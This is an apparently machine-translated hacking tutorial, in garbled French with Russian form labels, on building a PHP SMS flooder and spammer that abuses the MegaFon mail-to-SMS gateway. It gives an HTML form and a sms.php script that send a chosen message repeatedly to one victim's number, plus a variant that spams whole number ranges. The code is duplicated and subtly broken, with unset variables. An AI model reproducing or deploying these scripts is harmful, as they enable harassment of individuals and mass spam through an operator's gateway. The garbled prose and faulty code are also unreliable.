Rédaction flooder Sms ou spammeur (mail2sms)

mail2sms
Trouver ou des liens ou des scripts en dehors décidé de se lancer en dehors Fluder. La victime était le russe MegaFon .Vozmёm comme un exemple.

inondation

Pour commencer, nous allons comprendre, ce Fluder. Dans ma compréhension Fluder - un programme ou un script que (premier) envoyer un destinataire spécifié certaines informations dans un certain nombre de (souvent - dans un très grand).

Et donc, nous avons besoin d'écrire un tel flooder? Presque rien:
  • hébergement avec support PHP
  • cordon + bras droit
  • capacité juzat Google
Pour les inondations, nous allons utiliser la passerelle SMS de l'opérateur.
Le SMS-passerelle - une interface qui vous permet d'envoyer et de recevoir des messages SMS sans utiliser un téléphone mobile. Messages SMS sont convertis en messages e-mail, HTTP-requêtes et vice versa. Message envoyé par le biais d' une telle passerelle, peut être gratuitement à l'expéditeur; mais il peut y avoir des limitations techniques, telles que le nombre de ograchinenie envoient des messages d'un ordinateur par jour.

Comme il ressort clairement des programmeurs avancés ci - dessus n'a rien de nouveau pour moi - même ne savait pas.
Donc, vous avez choisi l'hébergement avec tout réglé ...
Créer une page index.php comme suit:
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
Comme il est clair à partir du code, ce sera une page avec un formulaire doit être envoyé, reportez - vous à notre script, qui sera appelé sms.php:
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
Je commence à comprendre le code.
Au début du script, nous attribuons des variables.
$ À partir - une boîte aux lettres à partir de laquelle les messages iront.
$ À - la destination, qui est celle que nous bôme inondations. La valeur de la variable est tirée de la forme index.php et slazhivaetsya avec @ sms.mgsm.ru. Quel est ce @ sms.mgsm.ru? Cet opérateur MEGFON de passerelle SMS.
$ Msg - une variable qui contient le texte à envoyer.
En outre il y a un cycle, ce qui est la tâche de l'envoi du nombre requis de connexions pour mettre en pause le sommeil.
fonction juste responsable de la passerelle de messagerie pereslku mail.

Maintenant , pour la fonction de sommeil. Pourquoi at-elle besoin?
Si nous ne l'inscrire, le serveur ne réagit pas au nombre désiré de SMS et de les envoyer au nombre de 1-2 pièces. Ceci afin d'assurer que le serveur a eu le temps de réagir et ont besoin de cette fonction. Entre parenthèses le nombre de secondes de retard est écrit. Cette figure're obtenir en essayant varintov différent. Sa valeur peut dépendre de la charge de la passerelle et la vitesse de votre Internet. Alors, quelle est l'expérience. Le script a été testé avec le paramètre 7.

Vérifiez le script. Nous continuons notre formulaire, entrez les données requises et nous appuyer sur le bouton ...
Maintenant, il est intéressant de considérer que le script est exécuté immédiatement, mais peu à peu, en attente exposée vous faites une pause après la mv Les messages chacun.

le spam

Qu'est-ce que le spam? Je comprends comment le spam mailing de masse des informations à des personnes différentes à des fins différentes. Ce que nous devons organiser le Spam
  • tout ce qui a été répertorié pour flooder
Besoin d'un peu de modifier la forme de la mv. Voici quelques-un fragment de:
  < form action = "sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Диапозон номеров:<br />
ОТ <input name=\"diapstart\" /> ДО <input name=\"diapfinish\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
Et un sms.php de code peu modifié:

<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
Je pense que tout est clair. Nous passons d'un nombre standard donnés et les appelons SMS à un intervalle spécifié. Dans ce procédé:
[+] Fonctionne sans base. sur le visage de l'épargne et de la circulation
[+] Contrairement à la base - et obtenir réseau de débutants, qui, dans les bases de données (gratuits et payants) encore
[-] Pas tous les SMS envoyés sera en place pour la raison que ces chiffres ne peuvent pas être. Mais il est possible de sélectionner ces plages que cela a été la probabilité maximale de livrer SMS.

Que dire en conclusion ...
Ce matériau ne vous appelle pas à l'action et a le caractère de familiarisation. L'auteur, I, et de copier-coller le lien ici est obligatoire.
Avec un peu de volonté et la capacité de script est modifié en raison d'un spammeur ou règle à tout autre opérateur, en travaillant avec les passerelles SMS shlyuzom.Vot nous trouver et nous avons eu la possibilité de google. Pour les paresseux - une grande liste de passerelles . Mais il est, peut-être, sera le prochain article.

PS inondations récemment proverlsya. Tout fonctionne très bien. Si ne fonctionne pas, alors il y a plusieurs options. Les courbes de la main - One. Deuxièmement - ne retenez pas votre fonction de courrier électronique d' hébergement. Le troisième - l'opérateur a changé la passerelle ou passerelle est surchargé.